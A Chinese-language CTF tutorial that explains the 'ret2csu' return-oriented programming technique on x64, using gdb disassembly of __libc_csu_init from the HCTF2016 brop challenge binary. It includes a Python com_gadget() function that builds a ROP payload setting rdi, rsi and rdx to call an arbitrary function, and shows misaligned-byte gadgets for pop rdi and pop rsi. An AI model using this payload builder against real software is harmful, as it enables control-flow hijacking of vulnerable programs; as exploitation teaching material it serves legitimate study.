通用 gadget

__libc_csu_init()

我们知道在程序编译的过程中，会自动加入一些通用函数做初始化的工作，这些初始化函数都是相同的，所以我们可以考虑在这些函数中找到一些通用的 gadget，在 x64 程序中，就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递，我们所找的 gadget 自然也是针对这些寄存器进行操作的。

函数 __libc_csu_init() 用于对 libc 进行初始化，只要程序调用了 libc，就一定存在这个函数。由于每个版本的 libc 都有一定区别，这里的版本如下：

  1. $ file /usr/lib/libc-2.26.so
  2. /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped

下面用 6.1 pwn hctf2016 brop 的程序来做示范，使用 /r 参数可以打印出原始指令的十六进制：

  1. gdb-peda$ disassemble /r __libc_csu_init
  2. Dump of assembler code for function __libc_csu_init:
  3.    0x00000000004007d0 <+0>:     41 57   push   r15
  4.    0x00000000004007d2 <+2>:     41 56   push   r14
  5.    0x00000000004007d4 <+4>:     49 89 d7        mov    r15,rdx
  6.    0x00000000004007d7 <+7>:     41 55   push   r13
  7.    0x00000000004007d9 <+9>:     41 54   push   r12
  8.    0x00000000004007db <+11>:    4c 8d 25 16 06 20 00    lea    r12,[rip+0x200616]        # 0x600df8
  9.    0x00000000004007e2 <+18>:    55      push   rbp
  10.    0x00000000004007e3 <+19>:    48 8d 2d 16 06 20 00    lea    rbp,[rip+0x200616]        # 0x600e00
  11.    0x00000000004007ea <+26>:    53      push   rbx
  12.    0x00000000004007eb <+27>:    41 89 fd        mov    r13d,edi
  13.    0x00000000004007ee <+30>:    49 89 f6        mov    r14,rsi
  14.    0x00000000004007f1 <+33>:    4c 29 e5        sub    rbp,r12
  15.    0x00000000004007f4 <+36>:    48 83 ec 08     sub    rsp,0x8
  16.    0x00000000004007f8 <+40>:    48 c1 fd 03     sar    rbp,0x3
  17.    0x00000000004007fc <+44>:    ff 15 f6 07 20 00       call   QWORD PTR [rip+0x2007f6]        # 0x600ff8
  18.    0x0000000000400802 <+50>:    48 85 ed        test   rbp,rbp
  19.    0x0000000000400805 <+53>:    74 1f   je     0x400826 <__libc_csu_init+86>
  20.    0x0000000000400807 <+55>:    31 db   xor    ebx,ebx
  21.    0x0000000000400809 <+57>:    0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
  22.    0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
  23.    0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
  24.    0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
  25.    0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
  26.    0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
  27.    0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
  28.    0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
  29.    0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
  30.    0x000000000040082a <+90>:    5b      pop    rbx
  31.    0x000000000040082b <+91>:    5d      pop    rbp
  32.    0x000000000040082c <+92>:    41 5c   pop    r12
  33.    0x000000000040082e <+94>:    41 5d   pop    r13
  34.    0x0000000000400830 <+96>:    41 5e   pop    r14
  35.    0x0000000000400832 <+98>:    41 5f   pop    r15
  36.    0x0000000000400834 <+100>:   c3      ret
  37. End of assembler dump.

从中提取出两段（必须以ret结尾），把它们叫做 part1 和 part2：

  1.    0x000000000040082a <+90>:    5b      pop    rbx
  2.    0x000000000040082b <+91>:    5d      pop    rbp
  3.    0x000000000040082c <+92>:    41 5c   pop    r12
  4.    0x000000000040082e <+94>:    41 5d   pop    r13
  5.    0x0000000000400830 <+96>:    41 5e   pop    r14
  6.    0x0000000000400832 <+98>:    41 5f   pop    r15
  7.    0x0000000000400834 <+100>:   c3      ret
  1.    0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
  2.    0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
  3.    0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
  4.    0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
  5.    0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
  6.    0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
  7.    0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
  8.    0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
  9.    0x000000000040082a <+90>:    5b      pop    rbx
  10.    0x000000000040082b <+91>:    5d      pop    rbp
  11.    0x000000000040082c <+92>:    41 5c   pop    r12
  12.    0x000000000040082e <+94>:    41 5d   pop    r13
  13.    0x0000000000400830 <+96>:    41 5e   pop    r14
  14.    0x0000000000400832 <+98>:    41 5f   pop    r15
  15.    0x0000000000400834 <+100>:   c3      ret

part1 中连续六个 pop，我们可以通过布置栈来设置这些寄存器，然后进入 part2，前三条语句（r15->rdx、r14->rsi、r13d->edi）分别给三个参数寄存器赋值，然后调用函数，这里需要注意的是第三句是 r13d（r13低32位）给 edi（rdi低32位）赋值，即使这样我们还是可以做很多操作了。

另外为了让程序在调用函数返回后还能继续执行，我们需要像下面这样进行构造：

  1. pop rbx     #必须为0
  2. pop rbp     #必须为1
  3. pop r12     #函数地址
  4. pop r13     #edi
  5. pop r14     #rsi
  6. pop r15     #rdx
  7. ret         #跳转到part2

下面附上一个可直接调用的函数：

  1. def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
  2.     payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
  3.     payload += p64(0x0)     # rbx must be 0x0
  4.     payload += p64(0x1)     # rbp must be 0x1
  5.     payload += p64(jmp2)    # r12 jump to
  6.     payload += p64(arg1)    # r13 -> edi    arg1
  7.     payload += p64(arg2)    # r14 -> rsi    arg2
  8.     payload += p64(arg3)    # r15 -> rdx    arg3
  9.     payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]
  10.     payload += 'A' * 56     # junk 6*8+8=56
  11.     return payload

上面的 gadget 是显而易见的，但如果有人精通汇编字节码，可以找到一些比较隐蔽的 gadget，比如说指定一个位移点再反编译：

  1. gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
  2. Dump of assembler code from 0x400831 to 0x400835:
  3.    0x0000000000400831 <__libc_csu_init+97>:     5e      pop    rsi
  4.    0x0000000000400832 <__libc_csu_init+98>:     41 5f   pop    r15
  5.    0x0000000000400834 <__libc_csu_init+100>:    c3      ret
  6. End of assembler dump.
  1. gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835
  2. Dump of assembler code from 0x400833 to 0x400835:
  3.    0x0000000000400833 <__libc_csu_init+99>:     5f      pop    rdi
  4.    0x0000000000400834 <__libc_csu_init+100>:    c3      ret
  5. End of assembler dump.

5e 和 5f 分别是 pop rsi 和 pop rdi 的字节码，于是我们可以通过这种方法轻易地控制 rsi 和 rdi。

在 6.1.1 pwn HCTF2016 brop 的 exp 中，我们使用了偏移后的 pop rdi; ret，而没有用 com_gadget() 函数，感兴趣的童鞋可以尝试使用它重写 exp。

除了上面介绍的 __libc_csu_init()，还可以到下面的函数中找一找：

  1. _init
  2. _start
  3. call_gmon_start
  4. deregister_tm_clones
  5. register_tm_clones
  6. __do_global_dtors_aux
  7. frame_dummy
  8. __libc_csu_init
  9. __libc_csu_fini
  10. _fini

总之，多试一试总不会错。

参考资料